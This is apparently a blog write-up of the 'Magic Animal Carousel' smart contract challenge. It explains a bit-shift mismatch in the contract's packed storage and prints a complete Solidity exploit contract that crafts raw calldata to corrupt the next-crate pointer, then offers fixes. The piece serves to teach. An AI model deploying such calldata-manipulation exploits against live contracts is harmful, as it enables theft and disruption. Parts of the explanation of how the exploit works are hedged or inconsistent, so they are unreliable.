Skip to content
On this page

Exploiting the Magic Animal Carousel: A Deep Dive into Ethereum Smart Contract Vulnerabilities

Introduction to the Challenge

The Magic Animal Carousel presents a fascinating smart contract challenge that combines clever bit manipulation with subtle security vulnerabilities. At first glance, it appears to be a simple game where users can add animals to a rotating carousel, but beneath the surface lies a sophisticated puzzle that requires deep understanding of Ethereum's data structures and encoding mechanisms.

This technical article will dissect the Magic Animal Carousel contract, explore its vulnerabilities, and demonstrate how to exploit them. We'll examine the contract's architecture, identify the security flaws, and walk through the exploit step-by-step with detailed code analysis.

Understanding the Contract Architecture

Core Data Structures and Bit Manipulation

The Magic Animal Carousel contract employs an elegant but potentially dangerous approach to data storage using bit masking. Let's examine the key constants and their purposes:

solidity
uint16 constant public MAX_CAPACITY = type(uint16).max;
uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
uint256 constant OWNER_MASK = uint256(type(uint160).max);

These masks define how data is packed into a single uint256 storage slot:

  • ANIMAL_MASK: Covers bits 176-255 (80 bits) for animal data
  • NEXT_ID_MASK: Covers bits 160-175 (16 bits) for the next crate ID
  • OWNER_MASK: Covers bits 0-159 (160 bits) for the owner address

The contract uses a single mapping to store all this information:

solidity
mapping(uint256 crateId => uint256 animalInside) public carousel;

Each crate ID maps to a packed uint256 containing:

  • Bits 0-159: Owner address
  • Bits 160-175: Next crate ID
  • Bits 176-255: Encoded animal name

Initialization and State Management

The constructor initializes the carousel with a special crate:

solidity
constructor() {
    carousel[0] ^= 1 << 160;
}

This sets the next crate ID in crate 0 to 1, establishing the initial state of the carousel. The use of XOR (^=) rather than assignment is interesting but doesn't affect functionality in this context.

Analyzing the Core Functions

Adding Animals with setAnimalAndSpin

The primary function for adding animals demonstrates the contract's circular buffer design:

solidity
function setAnimalAndSpin(string calldata animal) external {
    uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
    uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

    require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
    carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
        | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

    currentCrateId = nextCrateId;
}

This function:

  1. Encodes the animal name and shifts it right by 16 bits
  2. Retrieves the next crate ID from the current crate
  3. Validates the encoded animal length
  4. Updates the next crate with the new animal, owner, and updated next ID
  5. Updates the current crate pointer

Modifying Animals with changeAnimal

The modification function contains the vulnerability we'll exploit:

solidity
function changeAnimal(string calldata animal, uint256 crateId) external {
    uint256 crate = carousel[crateId];
    require(crate != 0, CrateNotInitialized());
    
    address owner = address(uint160(crate & OWNER_MASK));
    if (owner != address(0)) {
        require(msg.sender == owner);
    }
    uint256 encodedAnimal = encodeAnimalName(animal);
    if (encodedAnimal != 0) {
        // Replace animal
        carousel[crateId] =
            (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
    } else {
        // If no animal specified keep same animal but clear owner slot
        carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
    }
}

Animal Name Encoding

The encoding function converts animal names to packed representations:

solidity
function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
    require(bytes(animalName).length <= 12, AnimalNameTooLong());
    return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
}

This function:

  1. Validates the name length (≤ 12 bytes)
  2. Packs the string into bytes32
  3. Shifts right by 160 bits, leaving only the first 12 bytes in the lower 96 bits

Identifying the Vulnerability

The Critical Flaw: Bit Shift Mismatch

The vulnerability lies in the inconsistency between how animals are encoded in different functions:

  1. In setAnimalAndSpin: encodeAnimalName(animal) >> 16
  2. In changeAnimal: encodeAnimalName(animal) (no shift)

This discrepancy means that when we use changeAnimal, we're writing to a different bit position than setAnimalAndSpin reads from. Specifically:

  • changeAnimal writes to bits 160-255 (96 bits for animal)
  • setAnimalAndSpin reads from bits 176-255 (80 bits for animal)

This 16-bit offset creates an opportunity for data corruption and control flow manipulation.

Storage Layout Exploitation

The contract stores three pieces of information in each slot:

  1. Owner (bits 0-159)
  2. Next ID (bits 160-175)
  3. Animal (bits 176-255)

When changeAnimal writes an encoded animal starting at bit 160, it overwrites:

  • The next ID field (bits 160-175)
  • Part of the animal field (bits 176-255)

This allows us to manipulate the next crate ID pointer, which controls the carousel's rotation.

Crafting the Exploit

Understanding the Attack Vector

The exploit needs to:

  1. Manipulate the next crate ID to point to a specific location
  2. Trigger the carousel to rotate to that location
  3. Break the carousel's infinite loop constraint

The key insight is that by controlling the next ID field, we can make the carousel jump to arbitrary crate IDs, potentially causing it to exceed the MAX_CAPACITY limit.

The Exploit Contract Analysis

Let's examine the exploit contract in detail:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "./MagicAnimalCarousel.sol";

contract Hack {
    MagicAnimalCarousel private immutable target;
    
    constructor(address _target) {
        target = MagicAnimalCarousel(_target);

        // Step 1: Initialize the carousel with an animal
        target.setAnimalAndSpin("wtls");

        // Step 2: Prepare the malicious payload
        uint256 offset = uint256(64);
        uint256 crateId = uint256(1);
        uint256 newAnimalLength = uint256(12);
        bytes memory newMonster = hex"6162636465666768696affff";
        
        // Step 3: Craft the malicious calldata
        bytes memory payload = abi.encodePacked(offset, crateId, newAnimalLength, newMonster);
        bytes memory data = abi.encodePacked(target.changeAnimal.selector, payload);
        
        // Step 4: Execute the attack
        Address.functionCall(address(target), data);

        // Step 5: Trigger the exploit
        target.setAnimalAndSpin("anyw");
        
        // Step 6: Verify the exploit succeeded
        require(target.currentCrateId() == type(uint16).max, "Failed to break!");
    }

    function animalInBox(uint256 _currentCrateId) external view returns (uint256) {
        return target.carousel(_currentCrateId) >> 176;
    } 

    function animalNameEnc(string memory _animalName) external pure returns (uint256) {
        return uint256(bytes32(abi.encodePacked(_animalName))) >> 176;
    }
}

Step-by-Step Exploit Execution

Step 1: Initial Setup

The exploit begins by adding an initial animal to establish the carousel's state. The string "wtls" is chosen arbitrarily but serves to initialize crate 1.

Step 2: Payload Construction

The malicious payload is carefully constructed:

  • offset = 64: This likely relates to calldata positioning
  • crateId = 1: Target crate 1 for modification
  • newAnimalLength = 12: Maximum allowed length
  • newMonster = hex"6162636465666768696affff": The malicious animal data

The hex string decodes to "abcdefghij\xff\xff", where:

  • "abcdefghij" fills the first 10 bytes
  • "\xff\xff" sets the last 2 bytes to all 1s

Step 3: Calldata Manipulation

The exploit uses low-level functionCall to bypass Solidity's type checking:

solidity
bytes memory payload = abi.encodePacked(offset, crateId, newAnimalLength, newMonster);
bytes memory data = abi.encodePacked(target.changeAnimal.selector, payload);
Address.functionCall(address(target), data);

This approach allows precise control over the calldata, including the ability to craft malformed inputs that wouldn't pass normal Solidity function calls.

Step 4: The Critical Attack

When changeAnimal is called with the malicious payload:

  1. The function encodes "abcdefghij\xff\xff" as the animal
  2. Since the encoding doesn't shift right by 16 bits, it writes starting at bit 160
  3. The "\xff\xff" portion (all 1s) overwrites bits 160-175
  4. This sets the next ID field to 65535 (type(uint16).max)

Step 5: Triggering the Exploit

Calling setAnimalAndSpin("anyw") after the corruption:

  1. Reads the next ID from the corrupted crate (now 65535)
  2. Attempts to access crate 65535
  3. Updates the next ID to (65535 + 1) % 65535 = 0
  4. Sets currentCrateId to 65535

Step 6: Verification

The final check ensures the exploit succeeded:

solidity
require(target.currentCrateId() == type(uint16).max, "Failed to break!");

Technical Deep Dive: Bit-Level Analysis

Understanding the Bit Corruption

Let's visualize what happens at the bit level:

Before corruption (crate 1):

Bits 255-176: Animal data (from "wtls")
Bits 175-160: Next ID (normally 2)
Bits 159-0: Owner address

After calling changeAnimal with malicious payload:

Bits 255-176: Partially overwritten with "abcdefghij"
Bits 175-160: Set to 0xffff (65535)
Bits 159-0: Set to attacker's address

When setAnimalAndSpin reads the corrupted crate:

  • It extracts bits 175-160 as the next ID
  • Gets 65535 instead of the expected 2
  • Proceeds to crate 65535, breaking the carousel

The Role of ABI Encoding

The exploit leverages ABI encoding quirks. Normally, changeAnimal expects:

  • bytes4 selector
  • uint256 offset for dynamic string
  • uint256 crateId
  • uint256 string length
  • bytes string data

By manually constructing the calldata, the exploit can:

  1. Bypass Solidity's string length validation
  2. Include extra data that affects function behavior
  3. Manipulate how the string is interpreted

Prevention and Security Best Practices

Fixing the Vulnerability

The primary fix is to ensure consistency in bit shifting:

solidity
// In changeAnimal function, add the same shift as setAnimalAndSpin
uint256 encodedAnimal = encodeAnimalName(animal) >> 16;

Additional improvements include:

  1. Input Validation Enhancement:
solidity
function changeAnimal(string calldata animal, uint256 crateId) external {
    require(bytes(animal).length <= 10, "Animal name too long");
    // ... rest of function
}
  1. Separation of Concerns:
solidity
// Store data in separate mappings for clarity and safety
mapping(uint256 => address) public crateOwners;
mapping(uint256 => uint16) public nextCrateIds;
mapping(uint256 => uint80) public animals;
  1. Access Control Improvements:
solidity
// Use OpenZeppelin's Ownable or similar for clearer ownership
import "@openzeppelin/contracts/access/Ownable.sol";

contract MagicAnimalCarousel is Ownable {
    // ... rest of contract
}

General Security Recommendations

  1. Avoid Bit Manipulation When Possible:

    • Use structs for complex data
    • Let the compiler handle storage packing
  2. Implement Comprehensive Testing:

typescript
// Example test for the vulnerability
describe("MagicAnimalCarousel Security Tests", function () {
    it("should not allow bit manipulation through changeAnimal", async function () {
        const carousel = await MagicAnimalCarousel.deploy();
        
        // Test various edge cases
        await expect(
            carousel.changeAnimal("a".repeat(13), 1)
        ).to.be.revertedWith("AnimalNameTooLong");
        
        // Test bit manipulation attempts
        const maliciousAnimal = "a".repeat(12) + "\xff\xff";
        await expect(
            executeLowLevelCall(carousel, "changeAnimal", maliciousAnimal, 1)
        ).to.be.reverted;
    });
});
  1. Use Established Libraries:

    • OpenZeppelin for security primitives
    • Solmate for optimized, secure patterns
  2. Implement Formal Verification:

    • Use tools like Certora or Halmos
    • Specify and verify critical invariants

Conclusion

The Magic Animal Carousel challenge demonstrates several important security concepts:

  1. Consistency is Critical: Inconsistencies in data handling (like different bit shifts) create vulnerabilities.

  2. Low-Level Calls are Dangerous: Using functionCall or similar low-level methods bypasses Solidity's safety checks.

  3. Bit Manipulation Requires Care: Complex bit operations are error-prone and should be avoided when possible.

  4. Defense in Depth: Multiple layers of validation and clear separation of concerns prevent single points of failure.

This exploit serves as a valuable lesson in smart contract security, emphasizing the importance of:

  • Consistent data handling throughout the contract
  • Comprehensive input validation
  • Clear, maintainable code over clever optimizations
  • Rigorous testing of edge cases

By understanding and addressing these vulnerabilities, developers can create more secure and robust smart contracts that withstand sophisticated attacks while maintaining their intended functionality.

Built with AiAda